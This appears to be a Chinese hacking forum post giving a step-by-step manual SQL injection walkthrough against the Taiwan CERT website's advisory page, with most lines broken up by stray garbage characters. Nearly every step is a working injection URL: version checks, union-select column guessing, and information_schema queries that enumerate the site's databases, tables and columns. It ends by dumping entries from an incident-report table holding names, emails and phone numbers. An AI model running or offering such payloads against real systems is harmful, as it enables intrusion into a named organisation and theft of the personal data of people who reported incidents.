1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询. r9 Z( Y. Q* i- e5 R6 o; Y0 D7 w
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
5 t/ _! @3 H* [ s Y: J; Ghttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
3 v5 ]$ c$ i! ~! K, ^: X9 w9 O3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
3 U3 E# L& q# g: D9 b4 M4 ?" P数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
, k1 U4 G9 V( O' }5 v4.判断有没有写权限
- y6 a8 r& _ G0 g! U6 D# `& }http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
' {" m7 k0 t, i% C/ k没办法,手动猜表啦
, B4 x3 s `& g- j5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ V- q+ P/ T/ M5 I
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下3 O4 t* c% S: ?! f* l. f
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
8 E/ n5 p1 M0 o8 v成功查出所有数据库,国外的黑客就是不一般。数据库如下:
% S/ |3 l/ {0 f1 i Qinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb( g' \8 v2 z: \, ]
6.爆表,爆的是twcert库! v8 k/ ~$ }1 ^, m% H
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
" `' \, q' N7 y! F0 T爆出如下表/ a8 p6 @( c4 K+ Y. \0 ~
downloadfile,irsys,newsdata,secrpt,secrpt_big5+ o0 G$ T/ L0 a# x* d
7.爆列名,这次爆的是irsys表
$ ~' n9 P4 y4 \( g. L, thttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--3 `4 o" @* P3 I; c4 f# q
爆出如下列
5 z: ^* u) s% _ w( f/ Bir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
3 Y4 E1 e% e* }& e$ b. Y4 b/ g- Y8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
, n9 \: f1 \( p/ n$ @. N; ahttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--; l2 S- e) Z! K
返回是3,说明每个列里有3个地段7 e2 N; P0 N: [5 i( k# O7 d
9.爆字段内容
; ?; z3 u" R# N1 Y9 { p+ t) Hhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--% k5 X. D$ |/ k ~3 V
爆出name列的第一个字段的内容
1 ?1 g! S( F. H/ I# R' S, D7 _http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
0 l9 Y- q a+ R- M# ^爆出name列的第二个字段的内容 |